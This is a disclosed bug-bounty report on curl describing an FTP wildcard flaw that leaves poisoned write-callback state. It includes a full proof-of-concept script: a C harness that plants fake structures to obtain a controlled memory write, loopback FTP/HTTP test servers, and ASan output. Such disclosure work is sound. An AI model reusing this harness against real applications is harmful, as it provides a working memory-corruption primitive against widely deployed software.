HexBrain

curl · Report #4022070

CVE-2026-92388: FTP wildcard write callback mixup

Validstatus
14 Oct 2026disclosed

How it was found

Hi all,

A failed FTP wildcard LIST leaves data->set.fwrite_func pointing at libcurl's internal listing parser and data->set.out pointing at the easy handle itself, because the code path that restores them is only reached on a successful listing. That alone is a crash on reuse. However, curl_easy_duphandle() copies this poisoned state verbatim into a clone, so freeing the original handle (an explicitly documented, independent thing to do) turns the clone's next transfer into a heap use-after-free read. A second, adjacent pattern (reusing a handle by only ever changing CURLOPT_WRITEDATA, never CURLOPT_WRITEFUNCTION) turns it into a type confusion that parses response bytes into a pointer taken from the application's own memory.

The bug

Wildcard setup saves the application's write callback and output pointer, then substitutes its own:

// lib/ftp.c:4019-4026
/* backup old write_function */
ftpwc->backup.write_function = data->set.fwrite_func;
data->set.fwrite_func = Curl_ftp_parselist;
/* backup old file descriptor */
ftpwc->backup.file_descriptor = data->set.out;
data->set.out = data;

The only place that puts them back is the state the machine reaches once the LIST response has already parsed successfully:

// lib/ftp.c:4059-4066
case CURLWC_MATCHING: {
  /* In this state is LIST response successfully parsed, so lets restore
     previous WRITEFUNCTION callback and WRITEDATA pointer */
  struct ftp_wc *ftpwc = wildcard->ftpwc;
  data->set.fwrite_func = ftpwc->backup.write_function;
  data->set.out = ftpwc->backup.file_descriptor;

Anything that ends the listing before that point (a 550 denial, a dropped data connection, the application's own CURLOPT_TIMEOUT firing on a server that just stays silent) skips it. Every teardown path instead runs Curl_wildcard_dtor(), called on every transfer completion from Curl_multi_done(), and it never sees the Curl_easy it would need to restore into:

// lib/ftplistparser.c:188-198
void Curl_wildcard_dtor(struct WildcardData **wcp)
{
  struct WildcardData *wc = *wcp;
  if(!wc) return;
  if(wc->dtor) {
    wc->dtor(wc->ftpwc);   /* frees ftpwc + its parser */
    wc->dtor = ZERO_NULL;
    wc->ftpwc = NULL;
  }
  ...
  curlx_free(wc);
  *wcp = NULL;             /* data->wildcard is now NULL */

The handle now has fwrite_func == Curl_ftp_parselist and out == data, with nothing behind either. The consumer has no guard at all:

// lib/ftplistparser.c:1015-1017
struct Curl_easy *data = (struct Curl_easy *)connptr;
struct ftp_wc *ftpwc = data->wildcard->ftpwc;   /* data->wildcard is NULL */

Reused for an ordinary transfer, that's an immediate NULL dereference. Not interesting on its own. The next two variants are.

From crash to memory corruption

curl_easy_duphandle() turns it into a use-after-free. dupset() copies the whole option block by value:

// lib/easy.c:932
dst->set = src->set;

fwrite_func and out are ordinary fields in that struct, so the clone inherits fwrite_func == Curl_ftp_parselist and out pointing at the source handle, not itself. Free the source (curl_easy_duphandle(3) says the two handles "can subsequently be used independently" and the clone "does not inherit any state information") and the clone's very next body byte dereferences freed memory. ASan on a build of curl-8_22_0 and current master (58df614c86), identically:

mode=duphandle    verdict=CRASH  asan=heap-use-after-free  frame=Curl_ftp_parselist
    READ of size 8 ...
    freed by thread T0 here: ...
    previously allocated by thread T0 here: ...

Reusing only CURLOPT_WRITEDATA turns it into a type confusion, and it writes. Applications commonly set CURLOPT_WRITEFUNCTION once at init and change only CURLOPT_WRITEDATA per transfer (the documented minimal case is even simpler: a FILE * with the default writer). Curl_ftp_parselist() casts its user pointer unconditionally to struct Curl_easy *, so when that pointer is the application's own object, the read at offsetof(struct Curl_easy, wildcard) lands inside application memory and is followed as a live pointer chain. With a large-enough application object, I planted a fake WildcardData/ftp_wc/ftp_parselist_data/fileinfo/dynbuf chain inside it (the struct offsets are a build-time constant of the target's libcurl, not a secret) so that the parser's write destination is an address of my choosing:

mode=craft-write  t1=19 target_before=ZZZZZZZZ
mode=craft-write  t1=19 t2=0 target_after=[-rw-r--r--] written=yes verdict=CONTROLLED-WRITE

t2=0 is CURLE_OK: the transfer that plants server-controlled bytes at that address reports success, with no fault to catch it. To be precise about what this does and doesn't show: it's a demonstrated write primitive, not a working exploit. Turning it into one still needs the pointer-sized slot at that offset in the application's object to be attacker-influenced and an address disclosure. What it does establish is that the failure mode here isn't bounded by "faults immediately."

Preconditions

CURLOPT_WILDCARDMATCH in use, a failed FTP wildcard listing, and handle reuse afterward that does not re-set both CURLOPT_WRITEFUNCTION and CURLOPT_WRITEDATA (or does not call curl_easy_reset()) before the next transfer.

PoC

Two peers on loopback: a malicious FTP server that answers every LIST/NLST/MLSD with 550 (a denial, no malice required to construct), and a benign HTTP server. One easy handle runs the failed wildcard transfer, then either gets duplicated (duphandle) or reused with a rigged WRITEDATA object (craft-write); a control run re-sets both write options before reuse and is expected to survive cleanly.

Tested against curl-8_22_0 and current main.

checkout: /src
privilege required: REMOTE — the trigger is the FTP peer's response; the second, detonating transfer can go to an unrelated, fully benign HTTP server
run:      sh reproduce.sh duphandle
          sh reproduce.sh craft-write
control:  sh reproduce.sh control
#!/bin/sh
# Reproduces AISLE-2026-0115-00167: a failed FTP wildcard LIST leaves
# data->set.fwrite_func == Curl_ftp_parselist and data->set.out == the easy
# handle (lib/ftp.c:4019-4026), restored only in CURLWC_MATCHING
# (lib/ftp.c:4059-4066), which a failed listing never reaches. Teardown
# (lib/ftplistparser.c:188-198) frees the wildcard state without touching
# data->set. duphandle propagates the poisoned fields into a clone
# (lib/easy.c:932); WRITEDATA-only reuse feeds Curl_ftp_parselist a pointer
# it treats as a struct Curl_easy (lib/ftplistparser.c:1015-1017).
set -eu
MODE="${1:?usage: $0 duphandle|craft-write|control}"
SRC="${VF_SRC:-/src}"
WORK="${VF_WORK:-/tmp/vf-ftp-wc}"
mkdir -p "$WORK"

CFLAGS="-O1 -g -fsanitize=address -fno-omit-frame-pointer" \
  LDFLAGS="-fsanitize=address" \
  sh -c "cd '$SRC' && ./configure --prefix='$WORK/install' \
    --without-ssl --without-libpsl --disable-docs >'$WORK/build.log' 2>&1 \
    && make -j4 >>'$WORK/build.log' 2>&1 && make install >>'$WORK/build.log' 2>&1" \
  || { tail -40 "$WORK/build.log"; exit 1; }

# Internal struct offsets, taken from the tree just built (a property of the
# target's libcurl build, not a secret specific to any one process run).
cat > "$WORK/off.c" <<'EOF'
#include "ftplistparser.c"
#include <stddef.h>
#include <stdio.h>
int main(void) {
  printf("-DOFF_EASY_WILDCARD=%zu -DOFF_WC_FTPWC=%zu -DOFF_FTPWC_PARSER=%zu "
         "-DOFF_PARSER_OSTYPE=%zu -DOFF_PARSER_ERROR=%zu "
         "-DOFF_PARSER_FILEDATA=%zu -DOFF_FI_BUF=%zu\n",
         offsetof(struct Curl_easy, wildcard),
         offsetof(struct WildcardData, ftpwc),
         offsetof(struct ftp_wc, parser),
         offsetof(struct ftp_parselist_data, os_type),
         offsetof(struct ftp_parselist_data, error),
         offsetof(struct ftp_parselist_data, file_data),
         offsetof(struct fileinfo, buf));
  return 0;
}
EOF
cc -DHAVE_CONFIG_H -I"$SRC" -I"$SRC/lib" -I"$SRC/include" \
  -fsanitize=address -o "$WORK/off" "$WORK/off.c" \
  "$SRC"/lib/.libs/libcurl.a -lz
OFFS=$("$WORK/off")

cat > "$WORK/harness.c" <<'EOF'
/* Harness for AISLE-2026-0115-00167: duphandle / WRITEDATA-reuse escalation. */
#include <curl/curl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define URL_FTP_DENY "ftp://127.0.0.1:2121/*"
#define URL_HTTP     "http://127.0.0.1:8080/"
#define APP_SIZE    (1024 * 1024)
#define TARGET_SIZE 4096

static size_t app_write(char *buffer, size_t size, size_t count, void *user)
{ (void)buffer; (void)user; return size * count; }

static void common(CURL *c) {
  curl_easy_setopt(c, CURLOPT_TIMEOUT, 10L);
  curl_easy_setopt(c, CURLOPT_NOSIGNAL, 1L);
}

static CURLcode failed_wildcard(CURL *c, void *ctx) {
  curl_easy_setopt(c, CURLOPT_WRITEFUNCTION, app_write);
  curl_easy_setopt(c, CURLOPT_WRITEDATA, ctx);
  curl_easy_setopt(c, CURLOPT_URL, URL_FTP_DENY);
  curl_easy_setopt(c, CURLOPT_WILDCARDMATCH, 1L);
  return curl_easy_perform(c);
}

/* Fake structure chain planted inside the application's own WRITEDATA
   object. Curl_ftp_parselist() treats that object as a struct Curl_easy, so
   every pointer it follows from there is application memory. */
static void craft(unsigned char *app, char *target) {
  unsigned char *fake_wc = app + 8 * 1024;
  unsigned char *fake_ftpwc = app + 16 * 1024;
  unsigned char *fake_parser = app + 24 * 1024;
  unsigned char *fake_fileinfo = app + 32 * 1024;
  struct { char *bufr; size_t leng; size_t allc; size_t toobig; } *dyn =
    (void *)(fake_fileinfo + OFF_FI_BUF);

  memcpy(app + OFF_EASY_WILDCARD, &fake_wc, sizeof(fake_wc));
  memcpy(fake_wc + OFF_WC_FTPWC, &fake_ftpwc, sizeof(fake_ftpwc));
  memcpy(fake_ftpwc + OFF_FTPWC_PARSER, &fake_parser, sizeof(fake_parser));
  { int os_unix = 1, ok = 0;
    memcpy(fake_parser + OFF_PARSER_OSTYPE, &os_unix, sizeof(os_unix));
    memcpy(fake_parser + OFF_PARSER_ERROR, &ok, sizeof(ok));
    memcpy(fake_parser + OFF_PARSER_FILEDATA, &fake_fileinfo,
           sizeof(fake_fileinfo)); }
  dyn->bufr = target; dyn->leng = 0; dyn->allc = TARGET_SIZE;
  dyn->toobig = APP_SIZE;
}

int main(int argc, char **argv) {
  const char *mode = argc == 2 ? argv[1] : "";
  unsigned char *app = calloc(1, APP_SIZE);
  char *target = malloc(TARGET_SIZE);
  CURL *a, *b; CURLcode t1, t2;
  if (!app || !target) return 2;
  memset(target, 'Z', TARGET_SIZE);
  curl_global_init(CURL_GLOBAL_DEFAULT);
  a = curl_easy_init();
  common(a);

  if (!strcmp(mode, "duphandle")) {
    t1 = failed_wildcard(a, app);
    printf("mode=%-11s t1=%d\n", mode, (int)t1); fflush(stdout);
    b = curl_easy_duphandle(a);
    curl_easy_cleanup(a);              /* documented as independent */
    common(b);
    curl_easy_setopt(b, CURLOPT_WILDCARDMATCH, 0L);
    curl_easy_setopt(b, CURLOPT_URL, URL_HTTP);
    t2 = curl_easy_perform(b);          /* use-after-free read */
    printf("mode=%-11s t1=%d t2=%d verdict=SURVIVED\n", mode, (int)t1, (int)t2);
    curl_easy_cleanup(b);
  } else if (!strcmp(mode, "craft-write")) {
    craft(app, target);
    t1 = failed_wildcard(a, app);
    printf("mode=%-11s t1=%d target_before=%.8s\n", mode, (int)t1, target);
    fflush(stdout);
    curl_easy_setopt(a, CURLOPT_WILDCARDMATCH, 0L);
    curl_easy_setopt(a, CURLOPT_URL, URL_HTTP);
    curl_easy_setopt(a, CURLOPT_WRITEDATA, app);   /* WRITEFUNCTION untouched */
    t2 = curl_easy_perform(a);
    printf("mode=%-11s t1=%d t2=%d target_after=[%.40s] verdict=%s\n",
           mode, (int)t1, (int)t2, target,
           target[0] == 'Z' ? "NO-WRITE" : "CONTROLLED-WRITE");
    curl_easy_cleanup(a);
  } else if (!strcmp(mode, "control")) {
    t1 = failed_wildcard(a, app);
    printf("mode=%-11s t1=%d\n", mode, (int)t1); fflush(stdout);
    curl_easy_setopt(a, CURLOPT_WILDCARDMATCH, 0L);
    curl_easy_setopt(a, CURLOPT_URL, URL_HTTP);
    curl_easy_setopt(a, CURLOPT_WRITEFUNCTION, app_write);  /* both re-set */
    curl_easy_setopt(a, CURLOPT_WRITEDATA, app);
    t2 = curl_easy_perform(a);
    printf("mode=%-11s t1=%d t2=%d verdict=SURVIVED\n", mode, (int)t1, (int)t2);
    curl_easy_cleanup(a);
  } else {
    fprintf(stderr, "usage: %s duphandle|craft-write|control\n", argv[0]);
    return 2;
  }
  curl_global_cleanup();
  return 0;
}
EOF
# shellcheck disable=SC2086
cc -Wall -Wextra -fsanitize=address -fno-omit-frame-pointer $OFFS \
  -I"$WORK/install/include" "$WORK/harness.c" \
  -L"$WORK/install/lib" -lcurl -Wl,-rpath,"$WORK/install/lib" \
  -o "$WORK/harness"

cat > "$WORK/peers.pl" <<'EOF'
#!/usr/bin/env perl
use strict; use warnings; use IO::Socket::INET;
$| = 1;
my $BODY = "-rw-r--r-- 1 user group 5 Jan 01 00:00 payload";
sub listener { IO::Socket::INET->new(LocalAddr=>"127.0.0.1", LocalPort=>$_[0],
  Listen=>8, ReuseAddr=>1, Proto=>"tcp") or die "listen $_[0]: $!\n"; }
sub ftp_deny {
  my $s = listener(2121);
  while (my $c = $s->accept()) {
    $c->autoflush(1);
    print {$c} "220 retriage FTP ready\r\n";
    my $dl;
    while (my $line = <$c>) {
      $line =~ s/\r?\n$//;
      my ($verb) = split / /, $line, 2; $verb = uc($verb // "");
      if ($verb eq "USER") { print {$c} "331 password required\r\n"; }
      elsif ($verb eq "PASS") { print {$c} "230 logged in\r\n"; }
      elsif ($verb eq "PWD") { print {$c} "257 \"/\" is current directory\r\n"; }
      elsif ($verb eq "EPSV") { $dl = listener(0);
        printf {$c} "229 Entering Extended Passive Mode (|||%d|)\r\n", $dl->sockport(); }
      elsif ($verb eq "LIST" || $verb eq "NLST" || $verb eq "MLSD") {
        print {$c} "550 listing denied\r\n"; close $dl if $dl; $dl = undef; }
      elsif ($verb eq "QUIT") { print {$c} "221 bye\r\n"; last; }
      else { print {$c} "200 okay\r\n"; }
    }
    close $c;
  }
}
sub http { my $s = listener(8080);
  while (my $c = $s->accept()) { $c->autoflush(1);
    while (my $line = <$c>) { last if $line eq "\r\n"; }
    printf {$c} "HTTP/1.1 200 OK\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s",
      length($BODY), $BODY;
    close $c; } }
for my $s (\&ftp_deny, \&http) { my $pid = fork(); die "fork: $!\n" unless defined $pid;
  $s->() unless $pid; }
print "ready\n"; wait;
EOF
perl "$WORK/peers.pl" >"$WORK/peers.log" 2>&1 &
PEERS=$!
trap 'kill $PEERS 2>/dev/null || true' EXIT
for _ in 1 2 3 4 5; do grep -q ready "$WORK/peers.log" && break; sleep 1; done

: > "${VF_READY:-/dev/null}"

ASAN_OPTIONS=detect_leaks=0:abort_on_error=0 timeout 30 "$WORK/harness" "$MODE"

Output on both curl-8_22_0 and current main (58df614c86), non-debug ASan build:

mode=duphandle    verdict=CRASH  asan=heap-use-after-free  frame=Curl_ftp_parselist
mode=craft-write  t1=19 t2=0 target_after=[-rw-r--r--] verdict=CONTROLLED-WRITE
mode=control      t1=19 t2=0 verdict=SURVIVED

Suggested direction

The durable fix is to stop mutating data->set in the first place: select the listing parser through transfer-internal state (a flag consulted by the client-write path), not by overwriting the application's own options, so there is nothing to restore and no window for duphandle to inherit. If the swap-and-restore design stays, give the restore a Curl_easy * and call it on every teardown path (wc_data_dtor(), Curl_wildcard_dtor(), multi removal, and error returns from init_wc_data()) before ftpwc/its parser are freed, not only in CURLWC_MATCHING, and make it idempotent by clearing the backups the way that case already does. As defense in depth, have Curl_ftp_parselist() bail out (0/CURLE_WRITE_ERROR) when data->wildcard, wildcard->ftpwc, or ftpwc->parser is absent, instead of dereferencing unconditionally.

Cheers, Josh

Impact

An application that uses CURLOPT_WILDCARDMATCH, hits any failed listing (a permission-denied server is enough — no attacker-crafted payload needed), and then either duplicates the handle or reuses it changing only CURLOPT_WRITEDATA, gets a heap use-after-free read or a controlled-write primitive built entirely from server- and application-supplied bytes, on a subsequent transfer that can target a completely unrelated, benign peer. Neither pattern is documented as unsafe, and there is no API to detect that libcurl silently overwrote these two options.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original